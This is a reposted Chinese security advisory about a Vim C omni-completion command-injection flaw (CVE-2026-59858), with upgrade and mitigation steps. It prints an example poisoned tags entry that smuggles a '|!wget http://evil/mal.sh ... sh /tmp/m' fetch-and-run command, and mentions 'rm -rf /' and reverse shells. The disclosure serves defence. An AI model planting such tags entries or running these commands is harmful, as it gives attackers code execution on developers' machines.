文章总结: 本文预警VimC补全插件存在高危RCE漏洞CVE-2026-59858。该漏洞因ccomplete.vim未转义tags文件特殊字符,导致用户触发补全时执行恶意Ex命令。影响Vim9.2.0735以下版本。建议立即升级Vim至安全版本,临时可通过禁用补全、不提交tags文件或受限模式打开不可信源码进行缓解,并排查CI环境。 综合评分: 91 文章分类: 漏洞预警,漏洞分析,供应链安全,安全运营
紧急预警 | CVE-2026-59858 | Vim C 语言补全插件任意代码执行漏洞
撅人
2026年7月11日 00:00 广东
在小说阅读器读本章
去阅读
各位 Linux/Unix 用户、开发者及运维负责人请注意!Vim 官方披露 C 语言 Omni-Completion(
ccomplete.vim)存在命令注入漏洞(CVE-2026-59858)。攻击者可构造恶意tags文件,在用户触发 C 补全时报以当前用户权限执行任意 Ex 命令(含 Shell 命令),打开恶意 C 源码即”中招”。请立即升级 Vim!
🔴 漏洞速览(关键指标)
| 关键指标 | 详情 |
| — | — |
| 漏洞编号 | CVE-2026-59858 |
| 漏洞类型 | 未转义标签字段注入 → :vimgrep中 |
| **CVSS 评分** | 高危(预计 7.8–8.0,需用户打开恶意文件并触发补全) |
| **攻击前提** | 用受影响 Vim 打开含恶意 tags条目的 C 项目,**按 (Omni 补全)或自动触发补全** |
| **影响组件** | **Vim < 9.2.0735 — runtime/autoload/ccomplete.vim(typeref:/ typename:字段处理)** |
| **核心风险** | **打开恶意 C 文件 + 触发补全 → 静默执行攻击者构造的 shell 命令(:!rm -rf /`/ 反连 shell)** |
💥 核心危害(攻击者能做什么?)
💀 任意代码执行(RCE):
🎣 供应链投毒:
📂 本地提权辅助:若 Vim 以 sudo/root 运行打开文件(不推荐但存在)→直接 Root 沦陷
🧠 漏洞原理(通俗版)
漏洞根源是”把 tags 字段当字面量塞进 Vim regex,没转义|和特殊字符”:
C Omni 补全流程:Vim ccomplete.vim读 tags中 typeref:或 typename:字段,构造:
execute 'silent! vimgrep /' . typeref . '/ ' . tagfile
注入点:tags条目写为:
SomeType file.c /^typedef...$/;" t typeref:int|!wget http://evil/mal.sh -O /tmp/m;sh /tmp/m
typeref值含 |!wget…
触发:补全时执行:
:silent! vimgrep /int|!wget http://evil/mal.sh -O /tmp/m;sh /tmp/m/ 'tagfile'
Vim 解析 |为命令分隔符→ 先 vimgrep /int,再执行 :!wget …→RCE
修复(v9.2.0735+):ccomplete.vim对 typeref/typename值做 \Vvery-magic 转义或 escape(typeref, ‘|’),使 |成为搜索模式一部分而非命令分隔符,切断注入。
🔍 3秒自查:你的 Vim 是否受影响?
✅ 受影响版本(红区)
Vim < 9.2.0735(含 8.2.x / 9.0.x / 9.1.x 系列)
确认方式:
vim --version | head -1# 例:VIM - Vi IMproved 9.1 (2024 Jan 02) → 需确认 patch 是否 ≥ 9.2.0735# 无 9.2.x 的较老发行版(Ubuntu 22.04 默认 8.2.xxx)→ 受影响
✅ 安全版本(绿区)
Vim ≥ 9.2.0735(官方修复版本)
各发行版 backport 情况:
🛡️ 紧急修复方案
- 根治方案:升级 Vim(首选)
# --- Debian/Ubuntu(等待仓库或开启 backports)---sudo apt update && sudo apt install vim vim-gtk3
# --- RHEL/Rocky/Alma ---sudo dnf update vim
# --- macOS (Homebrew) ---brew update && brew upgrade vim
# --- 源码编译(立即获修复版)---git clone https://github.com/vim/vim.git && cd vimgit checkout v9.2.0735./configure --prefix=/usr/local --enable-luainterp --enable-python3interpmake -j$(nproc) && sudo make installhash -r ; vim --version | head -1 # 确认 9.2.0735
# 重启终端 / 重新登录
关键步骤:
CI/CD 镜像含 Vim 同样需更新 base image
确认 vim –versionpatchlevel ≥ 9.2.0735 或 distro-advisory backport 号
- 临时缓解(若暂无法升级)
不打开来源不明 C 项目 / 不触发 Omni 补全:
不提交tags文件到仓库(最佳实践),用 .gitignore排除
以受限模式打开不可信文件:
" 临时禁用 C omni-completion(C 文件类型仍高亮)autocmd FileType c setlocal omnifunc=
⚠️
-Z不能防所有 Ex 命令但可阻断:!shell
审查项目 tags 文件:grep -E ‘typeref:.*|’ tags如有命中立即视为可疑
- 安全自查清单
vim –version确认 ≥ 9.2.0735 或含 backport 修复
开发机/CI 镜像 Dockerfile 中 vim 版本确认
扫描代码仓库 .gitignore确保 tags/ TAGS不被提交
审查近期打开过外部 C 项目用户的 shell history 有无 vim 异常退出
检查 ~/.viminfo/ ~/.vimrc有无异常写入(后门持久化迹象)
⚠️ 安全生死提醒
Vim 是几乎所有 Linux/Unix 开发机标配编辑器,C 补全触发是日常高频操作,恶意 tags文件投毒可通过开源仓库/压缩包传播——”打开源码看一眼 + 补全 = 中招”。开发者工作站、跳板机、CI 构建容器均受影响。请在 48 小时内完成 Vim 升级或至少确认缓解措施(不触发补全 + 不提交 tags),严防开发环境沦陷!
📢 转发提醒:请立即将本文转发给开发团队、DevOps 及负责开发机基线安全的同事!
官方参考:Vim GitHub Security Advisory — CVE-2026-59858 / Patch v9.2.0735 (runtime/autoload/ccomplete.vim escape typeref/typename)
修复要点:
ccomplete.vim对typeref:/typename:值做escape(typeref, '\|')或\V字面化,防止|被:vimgrep解析为 Ex 命令分隔符
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:撅人 《紧急预警 | CVE-2026-59858 | Vim C 语言补全插件任意代码执行漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









![ctfplus-逆向每周练习:QYQSの奇妙冒险、CTF+Binary练习题-Re-Day4[Score=3]、ezVBS、Sign_in、TELF](/images/random/titlepic/5.jpg)
评论